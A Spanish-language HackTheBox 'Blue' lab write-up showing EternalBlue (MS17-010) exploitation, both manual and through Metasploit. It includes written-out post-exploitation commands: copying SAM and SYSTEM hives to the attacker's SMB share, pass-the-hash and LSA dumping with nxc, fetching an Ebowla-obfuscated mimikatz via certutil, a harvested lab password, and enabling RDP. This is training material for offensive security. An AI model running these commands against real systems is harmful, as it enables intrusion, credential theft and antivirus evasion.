Post

HTB Blue

Descripción

Esta maquina explotara la vulnerabilidad MS17-010 a través del exploit de Eternal Blue, la explotación se hará tanto de manera manual como automática a través de Metasploit.

EternalBlue es una vulnerabilidad informática que afecta a sistemas Windows, utilizada en el ataque de ransomware WannaCry en 2017. Creada originalmente por la Agencia de Seguridad Nacional de los Estados Unidos (NSA), esta vulnerabilidad fue filtrada públicamente por el grupo de hackers The Shadow Brokers. Permitió a los hackers ejecutar código malicioso de forma remota en sistemas no actualizados, resaltando la importancia de mantener actualizados los sistemas operativos y aplicar parches de seguridad. Su impacto demostró la necesidad crítica de la seguridad cibernética en el mundo digital actual.


Reconocimiento

Se comprueba que la máquina está activa y se determina su sistema operativo a través del script implementado en bash whichSystem.sh

Untitled

El sistema operativo es una Windows

Nmap

Se va a realizar un escaneo de todos los puertos abiertos en el protocolo TCP a través de nmap. Comando: sudo nmap -p- --open -sS -T4 -vvv -n -Pn 192.168.1.20 -oG allPorts

Untitled

Puertos abiertos son: 135,139,445,49152,49153,49154,49155,49156,49157

Se procede a realizar un análisis de detección de servicios y la identificación de versiones utilizando los puertos abiertos encontrados.

Comando: nmap -sCV -p80,3306,33060 192.168.1.20 -oN targeted

Obteniendo:

Untitled

Donde se visualiza que el puerto 445 correspondientes al protocolo SMB está abierto y corresponde a un Windows 7, muy posiblemente vulnerable.

Se procede a escanear este puerto atreves de scripts de vulnerabilidades SMB.

Untitled

Se obtiene que es vulnerable para la vulnerabilidad ms17-010 que se puede explotar a través del Eternal Blue.

Explotación

Manual AutoBlue

Se realizará de forma manual a través de un script de github: https://github.com/3ndG4me/AutoBlue-MS17-010

Se clona el repositorio y lo primero será comprobar que es el vulnerable a través del script: eternal_checker.py

Untitled

Nos dirigimos a la carpeta shellcode, para crear el <shellcode_file> que es necesario para el script de eternalblue_exploit7.py.

Ejecutamos el script y debemos ingresar la IP Atacante y el Puerto donde queremos recibir la reverse shell, en mi caso el puerto 80

Untitled

Volvemos a la carpeta principal del AutoBlue y procedemos a realizar la explotación, brindado la IP víctima y el sc_x64.bin que acabamos de crear en el paso anterior. En otra ventana estaremos en escucha en el puerto 80 a través de Netcat que es el que recibirá la revershell.

Untitled

Obtención de la reverse shell

Untitled

Se procede a comprobar la shell obtenida:

Untitled

Nos encontramos en la máquina víctima con privilegios root.

Enumeramos las flags, dirigiéndonos a la ruta \Users y a través del comando:

dir /s user.txt

Untitled

Manual Worawit

Utilizando https://github.com/worawit/MS17-010

Primero utilizar el archivo checker.py

Untitled

En acaso de obtener un STATUS_ACCESS_DENIED es necesario editar el checker.py y colocar un usuario guest

Untitled

Corriendo nuevamente el checker.py

Untitled

Editando el archivo zzz_exploit.py

Comentando las siguientes lineas

Untitled

Des comentando la línea 982 y editándola como sigue:

Untitled

En nuestra máquina atacante, utilizaremos impacket-server para compartir una carpeta que contendrá el binario de nc. Con el comando previamente editado, lograremos que la máquina víctima nos envíe una consola a nuestra máquina atacante. Utilizando https://eternallybored.org/misc/netcat/

Untitled

El binario que debemos transferir a nuestra máquina víctima es el nc64.exe

Copiando el binario al directorio actual de trabajo y renombrándolo

Untitled

Crear un recurso compartido a través de impacket-server y poniéndonos en escucha a través de nc y ejecutando el exploit zzz.py con python2.7 pasándole el nombre de un named pipes

Untitled

Obteniendo:

Untitled

Técnicas de Post-Explotación

Obtener hashes usuarios del sistema

Obteniendo una copia de los archivos system y sam

1
2
reg save HKLM\system system.backup
reg save HKLM\sam sam.backup

Obteniendo:

Untitled

Transfiriendo estos archivos a nuestra máquina atacante a través de impacket-server

1
2
3
#Copiar Windows -> Linux
copy sam.backup \\10.10.14.13\smbFolder\sam
copy system.backup \\10.10.14.13\smbFolder\system

Untitled

Obteniendo:

Untitled

Utilizando impacket-secretsdump vamos a obtener los hashes:

1
impacket-secretsdump -sam sam -system system LOCAL

Obteniendo:

Untitled

Estos hashes nos servirían para realizar Pass the hash

Pass the hash

Una vez encontrando los hashes de los usuarios se van a validar a través de nxc

1
nxc smb 10.10.10.40 -u 'Administrator' -H 'cdf51b162460b7d5bc898f493751a0cc'

Untitled

Dumpear LSA

1
nxc smb 10.10.10.40 -u 'Administrator' -H 'cdf51b162460b7d5bc898f493751a0cc' --lsa

Untitled

Conectarnos a la máquina víctima a través de impacket-psexec

1
impacket-psexec WORKGROUP/Administrator@10.10.10.40 -hashes :cdf51b162460b7d5bc898f493751a0cc

Untitled

Subir mimikatz.exe - ebowla manual

Localizar el binario de mimikatz.exe

Untitled

Ebowla

Se va a utilizar ebowla para ofuscar el código del binario de mimikatz

Utilizando https://github.com/Genetic-Malware/Ebowla

Moviendo el binario mimikatz.exe al directorio de Ebowla

Untitled

Editando el archivo genetic.config

Editando las variables:

1
2
3
output_type = GO

payload_tpye = EXE

Untitled

Untitled

Editando las variables de entorno:

Untitled

Obteniendo el valor de las variables de entorno desde la máquina Windows:

Untitled

Untitled

Ejecutamos el ebowla

1
python2 ebowla.py mimikatz.exe genetic.config

Untitled

Esto habrá creado un script en go con el cual crearemos un compilado final

Creando binario final

1
./build_x64_go.sh output/go_symmetric_mimikatz.exe.go final_mimi.exe

Untitled

Obteniendo:

Untitled

Renombrando el archivo a tensada.exe En nuestra máquina atacante levantamos un servidor con Python para trasnferir el binario

Transfiriendo el archivo a la máquina víctima a través de certutil.exe

1
certutil.exe -f -urlcache -split http://10.10.14.13/tensada.exe

Untitled

Ejecutando:

Untitled

Mimikatz

Realizando:

1
privilege::debug

Untitled

Haciendo

1
sekurlsa::logonPasswords

Untitled

1
2
3
* Username : Administrator
* Domain   : haris-PC
* Password : ejfnIWWDojfWEKM

Validando credencial

Untitled

Habilitar RDP - escritorio remoto

Se procede a verificar si el puerto 3389 se encuentra abierto y se comprueba que está cerrado a través de nxc lo habilitaremos

Untitled

1
nxc smb 10.10.10.40 -u 'Administrator' -p 'ejfnIWWDojfWEKM' -M rdp -o action=enable

Habilitar RDP desde el cmd

1
2
# Enable RDP from cmd.exe
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

Untitled

Verificando a traves de nmap

Untitled

Conectar escritorio remoto

1
rdesktop 10.10.10.40 -u 'Administrator' -p 'ejfnIWWDojfWEKM'

Obteniendo:

Untitled

Metasploit

Ejecutamos metasploit en modo silencioso

Untitled

Buscamos por MS17-010

Untitled

Se observa que hay varios exploits y un scanner, primeramente ocuparemos el scanner para corroborar que es vulnerable.

Configuramos la IP objetiva

Untitled

Corremos el exploit y se verifica que es vulnerable

Untitled

Ahora estaremos ocupando el exploit: exploit/windows/smb/ms17_010_eternalblue

Configuramos la IP objetiva y nuestra IP atacante, en este ejemplo se estará trabajando con una consola meterpreter, en caso de querer otra la podemos cambiar en la opción de “Payload”

Untitled

Ejecutamos el exploit

Habremos ganado una consola meterpreter con privilegios de root

Untitled

This post is licensed under CC BY 4.0 by the author.